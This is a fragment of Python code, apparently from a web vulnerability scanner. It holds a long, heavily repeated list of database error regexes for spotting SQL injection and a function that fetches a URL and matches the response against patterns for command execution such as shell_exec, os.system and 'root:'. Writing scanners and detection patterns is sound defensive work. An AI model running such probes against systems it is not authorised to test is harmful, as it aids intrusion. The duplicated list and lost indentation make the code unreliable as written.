r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: relation \".*\" does not exist at character.*LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.NoSuchMethodException: .*set[a-zA-Z]+",
r"SQLSTATE\[HY000\]: General error: 2013",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassCastException: ",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1109",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1418",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.IllegalAccessException",
r"SQLSTATE\[08006\]: No connection to the server",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name.*LINE",
r"ERROR: column \".*\" specified more than once at character.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1136",
r"java\.lang\.ClassCastException:.*LINE",
r"ERROR: duplicate key value violates unique constraint.*LINE",
r"ERROR: invalid byte sequence for encoding \"UTF8\".*LINE",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: column \".*\" of relation \".*\" does not exist LINE.*SQL",
r"java\.sql\.SQLException: No data found",
r"ERROR: could not open file.*LINE",
r"SQLSTATE\[22007\]: Invalid datetime format: 1292",
r"ERROR: unterminated quoted string at or near.*LINE",
r"SQLSTATE\[HY000\]: General error: 1021",
r"ERROR: duplicate key violates unique constraint.*LINE",
r"java\.sql\.SQLException: No results were returned",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: ORA-00904.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1093",
r"ERROR: relation \".*\" does not exist LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1366",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassNotFoundException",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: relation \".*\" does not exist at character.*LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.NoSuchMethodException: .*set[a-zA-Z]+",
r"SQLSTATE\[HY000\]: General error: 2013",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassCastException: ",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1109",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1418",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.IllegalAccessException",
r"SQLSTATE\[08006\]: No connection to the server",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name.*LINE",
r"ERROR: column \".*\" specified more than once at character.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1136",
r"java\.lang\.ClassCastException:.*LINE",
r"ERROR: duplicate key value violates unique constraint.*LINE",
r"ERROR: invalid byte sequence for encoding \"UTF8\".*LINE",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: column \".*\" of relation \".*\" does not exist LINE.*SQL",
r"java\.sql\.SQLException: No data found",
r"ERROR: could not open file.*LINE",
r"SQLSTATE\[22007\]: Invalid datetime format: 1292",
r"ERROR: unterminated quoted string at or near.*LINE",
r"SQLSTATE\[HY000\]: General error: 1021",
r"ERROR: duplicate key violates unique constraint.*LINE",
r"java\.sql\.SQLException: No results were returned",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: ORA-00904.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1093",
r"ERROR: relation \".*\" does not exist LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1366",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassNotFoundException",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: relation \".*\" does not exist at character.*LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.NoSuchMethodException: .*set[a-zA-Z]+",
r"SQLSTATE\[HY000\]: General error: 2013",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassCastException: ",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1109",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1418",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.IllegalAccessException",
r"SQLSTATE\[08006\]: No connection to the server",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name.*LINE",
r"ERROR: column \".*\" specified more than once at character.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1136",
r"java\.lang\.ClassCastException:.*LINE",
r"ERROR: duplicate key value violates unique constraint.*LINE",
r"ERROR: invalid byte sequence for encoding \"UTF8\".*LINE",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: column \".*\" of relation \".*\" does not exist LINE.*SQL",
r"java\.sql\.SQLException: No data found",
r"ERROR: could not open file.*LINE",
r"SQLSTATE\[22007\]: Invalid datetime format: 1292",
r"ERROR: unterminated quoted string at or near.*LINE",
r"SQLSTATE\[HY000\]: General error: 1021",
r"ERROR: duplicate key violates unique constraint.*LINE",
r"java\.sql\.SQLException: No results were returned",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: ORA-00904.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1093",
r"ERROR: relation \".*\" does not exist LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1366",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassNotFoundException",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: relation \".*\" does not exist at character.*LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.NoSuchMethodException: .*set[a-zA-Z]+",
r"SQLSTATE\[HY000\]: General error: 2013",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassCastException: ",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1109",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1418",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.IllegalAccessException",
r"SQLSTATE\[08006\]: No connection to the server",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name.*LINE",
r"ERROR: column \".*\" specified more than once at character.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1136",
r"java\.lang\.ClassCastException:.*LINE",
r"ERROR: duplicate key value violates unique constraint.*LINE",
r"ERROR: invalid byte sequence for encoding \"UTF8\".*LINE",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: column \".*\" of relation \".*\" does not exist LINE.*SQL",
r"java\.sql\.SQLException: No data found",
r"ERROR: could not open file.*LINE",
r"SQLSTATE\[22007\]: Invalid datetime format: 1292",
r"ERROR: unterminated quoted string at or near.*LINE",
r"SQLSTATE\[HY000\]: General error: 1021",
r"ERROR: duplicate key violates unique constraint.*LINE",
r"java\.sql\.SQLException: No results were returned",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: ORA-00904.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1093",
r"ERROR: relation \".*\" does not exist LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1366",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassNotFoundException",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: relation \".*\" does not exist at character.*LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.NoSuchMethodException: .*set[a-zA-Z]+",
r"SQLSTATE\[HY000\]: General error: 2013",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassCastException: ",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1109",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1418",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.IllegalAccessException",
r"SQLSTATE\[08006\]: No connection to the server",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name.*LINE",
r"ERROR: column \".*\" specified more than once at character.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1136",
r"java\.lang\.ClassCastException:.*LINE",
r"ERROR: duplicate key value violates unique constraint.*LINE",
r"ERROR: invalid byte sequence for encoding \"UTF8\".*LINE",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: column \".*\" of relation \".*\" does not exist LINE.*SQL",
r"java\.sql\.SQLException: No data found",
r"ERROR: could not open file.*LINE",
r"SQLSTATE\[22007\]: Invalid datetime format: 1292",
r"ERROR: unterminated quoted string at or near.*LINE",
r"SQLSTATE\[HY000\]: General error: 1021",
r"ERROR: duplicate key violates unique constraint.*LINE",
r"java\.sql\.SQLException: No results were returned",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: ORA-00904.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1093",
r"ERROR: relation \".*\" does not exist LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1366",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassNotFoundException",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: relation \".*\" does not exist at character.*LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.NoSuchMethodException: .*set[a-zA-Z]+",
r"SQLSTATE\[HY000\]: General error: 2013",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassCastException: ",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1109",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1418",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.IllegalAccessException",
r"SQLSTATE\[08006\]: No connection to the server",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name.*LINE",
r"ERROR: column \".*\" specified more than once at character.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1136",
r"java\.lang\.ClassCastException:.*LINE",
r"ERROR: duplicate key value violates unique constraint.*LINE",
r"ERROR: invalid byte sequence for encoding \"UTF8\".*LINE",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: column \".*\" of relation \".*\" does not exist LINE.*SQL",
r"java\.sql\.SQLException: No data found",
r"ERROR: could not open file.*LINE",
r"SQLSTATE\[22007\]: Invalid datetime format: 1292",
r"ERROR: unterminated quoted string at or near.*LINE",
r"SQLSTATE\[HY000\]: General error: 1021",
r"ERROR: duplicate key violates unique constraint.*LINE",
r"java\.sql\.SQLException: No results were returned",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: ORA-00904.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1093",
r"ERROR: relation \".*\" does not exist LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1366",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassNotFoundException",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: relation \".*\" does not exist at character.*LINE",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.NoSuchMethodException: .*set[a-zA-Z]+",
r"SQLSTATE\[HY000\]: General error: 2013",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.ClassCastException: ",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1109",
r"ERROR: relation \".*\" already exists LINE",
r"SQLSTATE\[HY000\]: General error: 1418",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.lang\.IllegalAccessException",
r"SQLSTATE\[08006\]: No connection to the server",
r"ERROR: unterminated quoted string at or near.*LINE",
r"java\.sql\.SQLException: Invalid object name.*LINE",
r"ERROR: column \".*\" specified more than once at character.*LINE",
r"SQLSTATE\[42000\]: Syntax error or access violation: 1136",
r"java\.lang\.ClassCastException:.*LINE",
r"ERROR: duplicate key value violates unique constraint.*LINE",
r"ERROR: invalid byte sequence for encoding \"UTF8\".*LINE",
r"SQLSTATE\[08006\]: No connection to the server:",
r"ERROR: column \".*\" of relation \".*\" does not exist LINE.*SQL",
r"java\.sql\.SQLException: No data found",
r"ERROR: could not open file.*LINE",
r"SQLSTATE\[22007\]: Invalid datetime format: 1292",
r"ERROR: unterminated quoted string at or near.*LINE",
r"SQLSTATE\[HY000\]: General error: 1021",
]
for pattern in patterns:
if re.search(pattern, response_text):
return True
except (requests.RequestException, UnicodeDecodeError):
pass
return False
def check_rce(url):
try:
response = requests.get(url)
response.raise_for_status()
rce_patterns = [
r"\bERROR: Command execution\b",
r"\bSystem\.Exec\b",
r"\bexec\(",
r"\bpassthru\(",
r"\bshell_exec\(",
r"\bpopen\(",
r"\bproc_open\(",
r"\beval\(",
r"\bassert\(",
r"\bjava\.lang\.Runtime\.getRuntime\(\)\.exec\(",
r"\bjava\.lang\.ProcessBuilder\.start\(",
r"\bos\.system\(",
r"\bsubprocess\.Popen\(",
r"\bsubprocess\.call\(",
r"\bsubprocess\.check_output\(",
r"\bbash:",
r"\bBash:",
r"\bwww-data",
r"\broot:",
r"\bsubprocess\.check_call\(",
r"\bRuntime\.getRuntime\(\)\.exec\(",
r"\bexec\(\$_(GET|POST|REQUEST)",
r"\bassert\(\$_(GET|POST|REQUEST)",
r"\bshell_exec\(\$_(GET|POST|REQUEST)",
r"\bpassthru\(\$_(GET|POST|REQUEST)",
r"\bpopen\(\$_(GET|POST|REQUEST)",
r"\bproc_open\(\$_(GET|POST|REQUEST)",
r"\beval\(\$_(GET|POST|REQUEST)",
r"\bsystem\(\$_(GET|POST|REQUEST)",
r"\bSystem\.Exec\(\$_(GET|POST|REQUEST)",
r"\bos\.system\(\$_(GET|POST|REQUEST)",
]
# Compile regex patterns
rce_regex = [re.compile(pattern) for pattern in rce_patterns]
# Check each pattern against response content
for regex in rce_regex:
if regex.search(response.text):
return True # RCE pattern detected
return False # No RCE pattern detected
except Exception as e:
print("Error occurred during RCE check:", e)
return False # Assume no RCE if an error occurs